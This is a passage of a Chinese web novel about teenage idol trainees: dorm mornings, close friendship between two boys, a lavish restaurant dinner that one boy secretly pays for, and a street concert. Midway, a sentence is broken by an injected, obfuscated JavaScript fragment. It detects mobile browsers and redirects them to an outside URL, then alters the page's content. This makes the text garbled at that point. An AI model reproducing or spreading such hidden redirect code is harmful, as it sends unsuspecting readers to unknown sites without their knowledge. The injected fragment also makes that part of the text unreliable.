好在导演能力超强,MV只拍了两天,素材交给团队去剪辑——至此,出道前的准备工作已经全部完成。 元旦只剩最后一天,他们也没了出去浪的精力,拍完MV回来,草草吃了顿晚饭,洗漱完就争分夺秒地躺在宿舍里睡大觉。 这些天徐如夜一直待在他们公司,跟他们同吃同住,期间苏虹来过几次给他送换洗的衣服,对他说狗疯狂拆家,把他那十几万的沙发挠成烂棉絮了都。 徐如夜眼不见心烦,更不想回家了,理直气壮地霸占陈颂的屋,陈颂睡邱以星的床已经睡习惯了。 上午,窗外有风声,屋里拉着厚厚的帘子,暗沉沉的。 暖气开得很足,陈颂睡得四仰八叉,发出小小的鼾声。 另一张床上的孔栩早已苏醒,他生物钟不允许他睡到日上三竿,邱以星仍旧在睡,他怕打扰邱以星,便睁着一双溜圆的眼睛,眨了眨,想心事。 元旦前一天的下午,班级群里举行联欢会,柴晓驰拍摄了很多照片和视频传到群相册,大家都笑得那么开心,气球和彩带到处都是,如果他还在学校,说不定会在闻旋的撺掇下表演个节目。 那么这相册里,也会有他了。 他此刻才惊觉,原来他是真的走上了另外一条路。请假没上学的那天,罗鸣玉给他发消息,担心地问他:你和邱以星怎么了?老班说你们请假,病了吗?我就说你俩总混一块,传染上了吧。作业我拍给你了,记得写啊。 孔栩扯了扯嘴角,回了句:我们没什么事,谢谢。 罗鸣玉:别这么客气,我们是朋友嘛。 “朋友”这两个字变成一股暖流,令他感到温暖。 孔栩刚认识罗鸣玉那会,没想过他们会变成好朋友。 认识的人仅仅是认识,不交心,不倾诉心事,分别后再不联系,是他的一贯做法。他那时候固执己见,认为交朋友是浪费时间,一个人活着就足够,直到邱以星死缠烂打要当他朋友,他才渐渐意识到交朋友也没有那么不好,他不是不需要,而是不知道有朋友的感觉是那样奇妙。 他不是一个人闷头朝前走,这条路即使漫长,可路上有人陪伴,他就不再感到害怕和孤独。 想到这,他又往邱以星怀里挤了挤,邱以星一只手搭在他胸口,很有磁性的低沉嗓音传进孔栩的耳膜:“醒了?” 孔栩一愣:“唔,我弄醒你了?” “别起,陪我睡会儿。”邱以星太累了,睡得迷迷糊糊,怀里都是孔栩的味道,他简直有些沉迷,不知道自己说了什么,低头抵在孔栩的胸口,越发紧地搂他,又深深吸了口属于孔栩的气息。 很淡的木香,混合着洗浴间沐浴露的花香,好闻极了。 孔栩被他弄得有些痒,他屏住呼吸,盯着邱以星半晌,试图从此人脸上看出什么端倪。 邱以星最近很喜欢搂他,睡觉的时候尤其喜欢,没开暖气那会他们互相取暖可以理解,开了暖气还抱这么紧,孔栩就有些喘不上气了。 算了,孔栩大度地想,谁叫你是我的朋友呢。 48. 第 48 章 下午无事,夏桃杉的父母亲自开车到公司门口接女儿回家。 叔叔阿姨都友善和气,与孔栩他们见了面,又说了些“感谢他们关照自己不爱说话的女儿”之类的话,还给他们送来几大箱零食和当季的新鲜水果,夏桃杉家里是果园承包户,家里水果多得吃不完,便宜了这帮大馋小子丫头们。 陈颂给夏桃杉拎着行李箱,一路送到她爸妈车上,又站在门口目送小轿车远去。 “咳,”陆笑蓉站在他身侧,忽然清了下嗓子,“人已经走了,还看着呐。” “跟你有什么关系。”陈颂瞅了她一眼,嫌弃她哪壶不开提哪壶似的,头一扭,潇洒地两手插兜,转身走了。 回屋见到孔栩和邱以星这俩一人拿着一小篮草莓,坐在中间的环形大沙发上,边看电视边吃草莓。 两位嘴唇都吃得红红的,陈颂没眼力见地硬挤进去,一屁股坐下:“让让,你们这日子过得也太舒坦了。” 他非跟孔栩抢他篮子里的草莓,孔栩不乐意,把篮子举得高高的,陈颂哄他说:“别这么小气,晚上哥哥带你去吃大餐。” 孔栩半信半疑:“真的?” “哥哥什么时候骗过你。”陈颂趁孔栩思索之际,抓过一大把草莓,吃得腮帮子鼓鼓囊囊,像只准备过冬的松鼠,“再来一颗,想去哪个大饭店都带你去。” “那我要去人均五千的陈年饭庄,”孔栩狮子大开口,“我要吃贵宾席的佛跳墙,黑松露大龙虾。” 陈颂犹豫:“呃,这俩有什么好吃的,就图个名气,味道其实一般。” 孔栩想拿篮子砸他:“你吃过么就吹。” 邱以星见他俩没个正型闹来闹去,默默盯了半晌。 他注意到陈颂格外喜欢逗孔栩,平时没事就爱来招惹一下子,逗到人两眼喷火炸毛再乐滋滋地溜走,等孔栩心情好了,又摸过来说两句话,直到把人又惹毛,追着他打才罢休。 电视剧播到最新一集,孔栩和陆笑蓉意犹未尽地看完。 陆笑蓉拿起手机,登录自己新注册的小号,艾特电视剧官方让他们播快点,顺便留言男一号演技太差,干一行毁一行,不如回老家喂猪。 又被池丰粉丝围攻八百条,陆笑蓉慌不择路火速下线,心有余悸地拍拍胸口:“我实话实说而已,小木鱼,你看,这帮脑残粉实在是太可怕了。” 孔栩便说:“知道他们战斗力强,还非要跟他们争,不发不行吗?” “那可不行,”陆笑蓉说,“他演技这么差还来演戏,岂不是阻挡了一个好演员的路?你不说我不说,以后就只能看这些人演的电视剧了,那还得了。” “你说得对,”孔栩说着就拿出手机,“我也去骂几条。” “差不多得了,你操哪门子的闲心。”邱以星把孔栩手机从他手心抽走,“这是粉丝向的作品,就是拍给他粉丝看的,人粉丝看了高兴,电视台看了收视率高兴,投资方赚钱了高兴,你不高兴有用吗?再说了,你看了不也挺高兴,你喜欢男二号,男一号不演得烂,怎么衬托男二号的好来?对了,男二号收获了新粉丝还高兴着呢。” 邱以星绕口令似的一通输出,孔栩默默地点头,觉得他的话也很有道理,陆笑蓉不满地皱眉:“小木鱼,你怎么一点立场都没有,风往哪吹往哪倒,就是一根墙头草!” 孔栩往邱以星身后躲,他笑嘻嘻地说:“不不不不,我不是墙头草,我是小木鱼,只会咚咚咚地响。” “那我来敲敲试试,看响不响。”陆笑蓉站起身,两手交叉活动得咯吱咯吱作响,作势要来敲他的脑袋。 孔栩大叫一声,慌忙拽邱以星衣服,让他当盾牌抵挡陆笑蓉的攻击,好在邱以星十分配合,双臂钳子似的张开,充当孔栩牢固的堡垒,陆笑蓉别无他法只好挠邱以星痒痒,邱以星一时不慎,被陆笑蓉伸来一只爪子,差点勾到孔栩的毛衣。 孔栩紧张得上蹿下跳,揪紧邱以星的衣服:“邱以星,快拦住她!” 陈颂在一旁津津有味地欣赏:“还玩起老鹰捉小鸡来了,你们真有童心。” 最后邱以星以身高优势占据上风,反剪住陆笑蓉的两只胳膊,陆笑蓉玩出了一身汗,笑着骂道:“我算是看明白了,你们俩就是一伙的!” 最后是徐如夜的出现终结了他们的嬉闹。 徐如夜换了件苏虹带来的长款黑色大衣,长身玉立,风度翩翩,戴上一副黑框眼镜,显得斯文极了,然后拿出一只口罩戴上,像是要出门。 陆笑蓉看呆了:“徐老师,您要去哪儿?” 徐如夜一偏头:“好不容易放假休息,难不成赖公司一整天?带你们出去吃饭,透透气,给你们十分钟收拾。” 众人火速收拾好,徐如夜跟项汝怡打了个招呼,便带这几人出了门。 他们的歌录制完毕,混音和母带都是公司自己做,不用他再去操心。 徐如夜兑现了自己的诺言,给他们写歌,甚至是亲自当他们老师,徐如夜如此尽心尽力,除了看在陈闵的面子上,还因为看见这帮人,他会想起自己一无所有的十几岁。 如今他眼见着好像什么都有了,可似乎最珍贵的东西永远被埋在了更年轻的岁月里。 跟这些年轻人在一起,让他仿佛年轻了十岁,陆笑蓉感受到了徐如夜的好心情,试探性地问他:“徐老师,吃饭的地方我们可以选吗?” 徐如夜:“可以啊,你们想去哪?” 陆笑蓉和孔栩交换了一个心照不宣的眼神:“那您能不能带我们去陈年饭庄长点儿见识?” “当然可以,”徐如夜眯眼笑着,看了陈颂一眼,“你们大可以敞开了吃。” “徐老师,您真大方。”陆笑蓉和孔栩小小地击了下掌。 他们不知道陈年饭庄是需要提前预约才有好位置的,不过徐如夜这种超级VIP不需要提前预约,大堂经理像是认出了徐如夜,极为殷勤地快步走来,笑容堆了满脸,刚要说话,陈颂打断他说:“那什么,包厢还有吗?” “有的,”经理态度好得犹如见了亲人,微笑说,“这边请。” 孔栩心里感慨,果然是有钱能使鬼推磨,这么好的服务态度他还是头一回见。 陈颂低着头,两手揣进上衣兜里,默然不语地跟在一行人最后。 经理把他们带到一间宽敞的包厢,等人都进去后,陈颂脚步一顿,轻轻拉住经理的衣角,悄声说:“王叔,等会儿这桌帮我免个单。” 王经理笑着点头:“知道。” 陈颂想了想,又说:“佛跳墙直接上一锅,大龙虾挑最大的,我朋友爱吃。” 王经理维持着一成不变的笑容:“都好说,保证让您和朋友都吃好吃饱。” “谢谢。” 陈颂若无其事地走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086436|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进包厢,坐在孔栩身侧,他对孔栩说:“菜单呢,还不快点你的佛跳墙和大龙虾。” “你懂不懂事,”孔栩恭恭敬敬地把菜单递到徐如夜面前,“徐老师请客,当然是徐老师先点。” 陈颂:“……” 徐如夜见陈颂一脸黑线,笑了两声,把菜单推回去,让他们点自己喜欢的。 孔栩还想跟他客套一下,陆笑蓉毫不客气地接过,嘿嘿一笑:“那我就不客气了。” 陆笑蓉为夏桃杉失去一顿大餐而倍感遗憾,菜单从头看到尾,她和孔栩瞠目结舌,被后面的价格惊得一愣一愣的,最后也没敢点佛跳墙——她怕徐如夜这餐之后跟他们断绝往来。 上菜的时候,服务员却端来一大锅鲜香扑鼻的佛跳墙,孔栩忙叫住服务员:“等等,你们送错了。” “没有,”服务员露出八颗牙的标准微笑,“这是送的。” 还有此等好事! 孔栩惊了,不愧是大饭店,这么豪爽! 陆笑蓉等服务员走了,不敢置信,跟孔栩小声蛐蛐:“不会是预制品吧?这一锅得多少钱啊。” 陈颂一拍桌:“什么预制品,饭庄没有预制品,这一锅也是熬了好几天的,吃都堵不上你的嘴。” 陆笑蓉:“你激动什么,你家开的啊?” 陈颂:“……” 邱以星看了他一眼,陈颂几次三番想张口,但最后选择闭嘴,忿忿地啃起大龙虾。 这顿吃的是热汗淋漓,所有人都很满意,虽然佛跳墙的口感不是孔栩喜欢的,但至少知道了顶级饭店里顶级食材的味道,十分心满意足,捧着肚子等徐如夜去结账。 徐如夜被告知已经结过账,不出他意料,他又跟服务员说,打包几个店里最火的小甜品,这次他付钱。 众人提着小甜品出了饭庄大门,一边吃,一边走,一边消食。 路上没有多少行人,天色暗了下来,徐如夜光明正大地走在大马路上,黑色的树影摇晃着,一行人走到路口,看见前边有个很大的广场。 广场中央有人自发组织了活动,他们远远就听到了歌声,陆笑蓉指着前面说:“小木鱼,我们过去看看。” 孔栩看了徐如夜一眼:“徐老师,您戴条围巾,把脸遮一遮,被认出来就不好了。” 徐如夜依言照做,他很久没出现在公众面前,天色又黑,不一定能注意到他,但他还是谨慎地戴上口罩和围巾,不仔细打量,不会有人认出他。 广场是几个俊男美女在劲爆的音乐中跳着热舞,场子热好后,有一支小乐队上了临时搭建的简陋舞台表演,几首下来,现场的气氛越发火热。 孔栩他们几人在角落跟着一块唱,孔栩把手揣进邱以星上衣的口袋取暖,靠着他笑吟吟地说:“他们唱得都没你好听。” 在孔栩看来,比邱以星唱歌好听的人屈指可数,现在的徐如夜算一个,等邱以星长大,或许能比徐如夜还厉害,他真心这么认为,却忽略旁边有其他的陌生人。 等音乐停下来,旁边这位疑似是主持人的中年男子,不知从哪儿变出一只话筒,站上舞台略一欠身,中气十足地对观众们说:“听说这里有人唱得更好,让我们请他上台来表演,好不好?” 他话音一落,周围的目光仿佛探照灯一般落在他们这行人身上,徐如夜不由得裹紧衣领,垂下头,装作跟他们不认识。